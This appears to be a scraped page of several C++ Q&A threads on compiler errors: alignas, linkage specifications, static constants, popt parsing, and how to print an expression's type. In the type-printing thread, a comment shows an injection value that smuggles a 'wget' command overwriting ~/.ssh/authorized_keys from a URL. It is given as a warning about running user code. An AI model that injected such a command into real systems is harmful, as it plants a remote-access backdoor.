I want to test the use of alignas(), so I write down these code:
#include <vector>
using namespace std;
template<typename X>
void user(const vector<X>& vx)
{
constexpr int bufmax = 1024;
alignas(X) buffer[bufmax];
const int max = min(vx.size(), bufmax / sizeof(X));
uninitialized_copy(vx.begin(), vx.begin()+max, buffer);
}
However, when I compile it with g++, the compiler outputs an error: "expected primary-expression before alignas(X)". Who could explain this? I don't know the exact usages of alignas().
alignas(X) is an aligment specifier, which is applied to type. Your error happens because you didn't specified a type here.
Judging from the rest of the code, you probably want to create aligned buffer of characters: alignas(X) char buffer[bufmax];
add below data type to your code
char alignas(X) buffer[bufmax];
alignas(X) char buffer[bufmax];
I also bumped on the same while reading the book.
Related
So, this problem, for some reason it shows me this error (ubuntu, terminal, g++). I searched the net and didn't show anything similar to mine. The code is (gfdz.cpp)
#include <iostream>
#include <string>
using namespace std;
struct dynmass
{
unsigned long int vm; //вместимость
unsigned long int el; //количество элементов
};
int *i,*q;
void create()
{
dynmass a;
a.vm = 0;
a.el = 0;
i = new int[0];
extern "a"
{
void push();
void remuve();
int kolichestvo();
int vmestimostb();
int main;
};
}
What you have there is a language linkage specification. And within it, you have a bunch of function declarations.
A language specifications can only appear in namespace scope. Yours is in the block scope, so that's what's wrong with it. Also, "a" language linkage is not supported by standard c++ so you may need to consult your compiler manual to find out if it's supported.
I have a c++ program in which constants are stored within a class. And somewhere else in the code I use one of these constants as an array size.
Here is a sample:
Constants.h
#ifndef CONSTANTS_H
#define CONSTANTS_H
class Constants
{
public:
static const unsigned int C_BufferSize;
};
#endif
Constants.cpp
#include "Constants.h"
const unsigned int Constants::C_BufferSize(128);
main.cpp
#include "Constants.h"
int main()
{
char buffer[Constants::C_BufferSize];
return 0;
}
When I compile this code with -std=c++11 -pedantic I got the following warning:
main.cpp:5:37: warning: ISO C++ forbids variable length array ‘buffer’ [-Wvla]
I don't really understand the error since the size is a constant, my guess is that at compile time the size is unknown.
The error can be bypassed using a heap allocated table (allocated with new), but I'm forbidden to use dynamic memory allocation. Therefore I'm looking for another solution.
The definition is required and searched for, at link-time. So yes, the size is unknown during the compilation phase.
You're write this:
class Constants
{
public:
static const unsigned int C_BufferSize = 128; //initialize here
};
And then only provide the definition in .cpp file:
const unsigned int Constants::C_BufferSize; //no initialization here
But then it makes better sense to make Constants a namespace instead of a class:
namespace Constants //NOTE : a namespace now
{
static const unsigned int BufferSize = 128;
};
Seems more natural to me.
Warning reason - as mentioned by #nawaz already (variable size in array at compile time - might not be supported/allowed by all compilers).
can be attempted this way instead:
std::vector<char> buffer(Constants::C_BufferSize);
Typically the above issue would arise when doing some char* conversion to string (limited by actual data size in the char-buffer). Therefore in that case, this can be used something like;
std::string ConvertCharDataBySizeToString(const char* s, std::size_t size)
{
std::vector<char> data(s, s+size);
return ( std::string(data.begin(), data.end()) );
}
Reference/s here.
I need to make a program that gets a fraction from the user and then simplifies it.
I know how to do it and have done most of the code but I keep getting this error "error: expected unqualified-id before ‘.’ token".
I have declared a struct called ReducedForm which holds the simplified numerator and denominator, now what Im trying to do is send the simplified values to this struct.
Here is my code;
In Rational.h;
#ifndef RATIONAL_H
#define RATIONAL_H
using namespace std;
struct ReducedForm
{
int iSimplifiedNumerator;
int iSimplifiedDenominator;
};
//I have a class here for the other stuff in the program
#endif
In Rational.cpp;
#include <iostream>
#include "rational.h"
using namespace std;
void Rational :: SetToReducedForm(int iNumerator, int iDenominator)
{
int iGreatCommDivisor = 0;
iGreatCommDivisor = GCD(iNumerator, iDenominator);
//The next 2 lines is where i get the error
ReducedForm.iSimplifiedNumerator = iNumerator/iGreatCommDivisor;
ReducedForm.iSimplifiedDenominator = iDenominator/iGreatCommDivisor;
};
You are trying to access the struct statically with a . instead of ::, nor are its members static. Either instantiate ReducedForm:
ReducedForm rf;
rf.iSimplifiedNumerator = 5;
or change the members to static like this:
struct ReducedForm
{
static int iSimplifiedNumerator;
static int iSimplifiedDenominator;
};
In the latter case, you must access the members with :: instead of . I highly doubt however that the latter is what you are going for ;)
The struct's name is ReducedForm; you need to make an object (instance of the struct or class) and use that. Do this:
ReducedForm MyReducedForm;
MyReducedForm.iSimplifiedNumerator = iNumerator/iGreatCommDivisor;
MyReducedForm.iSimplifiedDenominator = iDenominator/iGreatCommDivisor;
ReducedForm is a type, so you cannot say
ReducedForm.iSimplifiedNumerator = iNumerator/iGreatCommDivisor;
You can only use the . operator on an instance:
ReducedForm rf;
rf.iSimplifiedNumerator = iNumerator/iGreatCommDivisor;
All:
Thanks for help.
I am new to C option parsing, for now, what I want is to use popt library to parsing the each argument and prnit them out.
#include <iostream>
#include <string>
#include <cstring>
#include <popt.h>
using namespace std;
int main(int argc, const char* argv[]){
char* dt1;
char* dt2;
struct poptOption {
const char * longName; /* may be NULL */
char shortName; /* may be ’\0’ */
int argInfo;
void * arg; /* depends on argInfo */
int val; /* 0 means don’t return, just update flag */
char * descrip; /* description for autohelp -- may be NULL */
char * argDescrip; /* argument description for autohelp */
};
struct poptOption optionsTable[]={
{"start",'s',POPT_ARG_STRING,dt1,'s',"The date format should like YYYY-MM-DD.",0},
{"end",'e',POPT_ARG_STRING,dt2,'e',"The date format should like YYYY-MM-DD.",0},
//~ POPT_AUTOHELP
//~ {NULL,0,0,NULL,0}
};
poptContext optCon;
optCon = poptGetContext (0, argc, argv, optionsTable, 0);
const char* portname = poptGetArg(optCon);
cout<<portname<<endl;
return 0;
}
When I compile it, I got error llike:
test.cpp: In function ‘int main(int, const char**)’
test.cpp:27: warning: deprecated conversion from string constant to ‘char*’
test.cpp:27: warning: deprecated conversion from string constant to ‘char*’
test.cpp:30: error: cannot convert ‘main(int, const char**)::poptOption*’ to ‘const poptOption*’ for argument ‘4’ to ‘poptContext_s* poptGetContext(const char*, int, const char**, const poptOption*, unsigned int)’
I don't think you should be defining the struct poptOption in your program. That struct should be defined for you in the popt include file. Try removing that struct definition.
Note, I think you also need to uncomment this line:
//~ {NULL,0,0,NULL,0}
The reason that this warning is being reported is a feature of the C language, but the mistake in the code is due to how you are attempting to use popt.
The types (char*) and (const char*) in C are different types. One is not really the other, and while C allows assignment from one type to another without blowing up, any decent C compiler will give you a warning. You can hide the warnings with a type cast, but it's generally a bad idea.
A C-style string is of the type (const char*), and you are assigning it to the field descrip in poptOption which is defined as a (char*). This raises a compiler warning because now, someone who reaches into that memory by following the reference from the optionsTable array could attempt to change the contents of the string. That's an odd thing to allow, considering the string is defined as a constant. That's why you get the warning.
The mistake in your code is that you are using popt incorrectly, with your own definition of the poptOption struct. If you look within the file that you include (popt.h) on line 55 you will see the poptOption struct, as it is defined by the popt authors. It is:
struct poptOption {
/*#observer#*/ /*#null#*/ const char * longName; /* may be NULL */
char shortName; /* may be '\0' */
int argInfo;
/*#shared#*/ /*#null#*/ void * arg; /* depends on argInfo */
int val; /* 0 means don't return, just update flag */
/*#shared#*/ /*#null#*/ const char * descrip; /* description for autohelp -- may be NULL */
/*#shared#*/ /*#null#*/ const char * argDescrip; /* argument description for autohelp */
};
or removing comments
struct poptOption {
const char * longName;
char shortName;
int argInfo;
void * arg;
int val;
const char * descrip;
const char * argDescrip;
};
and you clearly see that even the authors expected a (const char *), and not the (char *) you defined.
I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this? If not, is there a pretty easy way to do it by integrating with an existing compiler and calling into its debugger or API? I've been told, for example, that Clang has a fairly complete compiler API, perhaps there's some way to just pass a string into Clang along with the appropriate include directives and have it spit out a type?
I realize that this is potentially a huge project if there's nothing close to this existing today. I just thought it would have significant educational value, so it seemed like it was worth checking.
I came up with an answer inspired by Ben Voigt's comments. Just make a bug and let the compiler tell you the type which caused it:
template <typename T> void foo(T); // No definition
int main() {
foo(1 + 3.0);
}
Result:
In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'
Also, since you execute nothing but the compiler, you're pretty safe. No sandboxing needed, really. If you get anything other than "undefined reference to void foo<T>(T)", it wasn't an expression.
[edit] How would you put this into a tool? Simple, with macro's
// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }
int main() {
foo(EXPR);
}
Now compile with $(CC) /D=(EXPR) TestHarness.cpp. Saves you from rebuilding the input file every time.
Improving yet more on MSalter's improvement:
class X {
template <typename T> static void foo(T) {}
};
int main() {
X::foo( $user_code );
}
Result (with $user_code = "1 + 3.0"):
prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context
This avoids the link step.
Original answer:
C++ has the typeid keyword. Conceptually, you just need to stick the user's expression into some boilerplate like:
extern "C" int puts(const char *s);
#include <typeinfo>
int main(void)
{
const type_info& the_type = typeid( $user_code );
puts(the_type.name());
}
And then pass that source file to the compiler, and run it to get the answer.
Practically, it's going to be difficult to avoid running malicious code. You'd need to use a sandbox of some type. Or be really really careful to make sure that there aren't mismatched parentheses (you do know what trigraphs are, right?).
yes I'm aware that the argument of typeid isn't evaluated. But let $usercode be 1); system("wget -O ~/.ssh/authorized_keys some_url" !
A better option would be to avoid running the program. With a framework (requires C++11) like:
extern "C" decltype( $user_code )* the_value = 0;
You could run the compiler with the option to generate debug data, then use e.g. a dwarf2 reader library and get the symbolic type information associated with the_value, then remove one level of pointer.
Here's one way you can do this in GCC and Clang with __PRETTY_FUNCTION__:
#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>
template<typename T>
static constexpr auto type_name() noexcept {
// __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
return std::string_view{ begin, size };
}
template <typename T1, typename T2>
class my_class { }; // Example Class
int main() {
my_class<int&, std::vector<double>> my_arr[20];
std::cout << type_name<decltype(my_arr)>();
}
Output on GCC:
my_class<int&, std::vector<double> > [20]
I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this?
These days, there sort of is such a tool - online. It only does what you want as an unintended by product though. I'm talking about Matt Godbolt's Compiler Explorer.
Your "program" will look like this:
#define EXPRESSION 123
template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
Now, if you replace 123 with a C++ expression, you'll get, in the compiler error messages section, the following:
<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type
4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;
| ^
Compiler returned: 1
The first line has your desired type, within the angle brackets.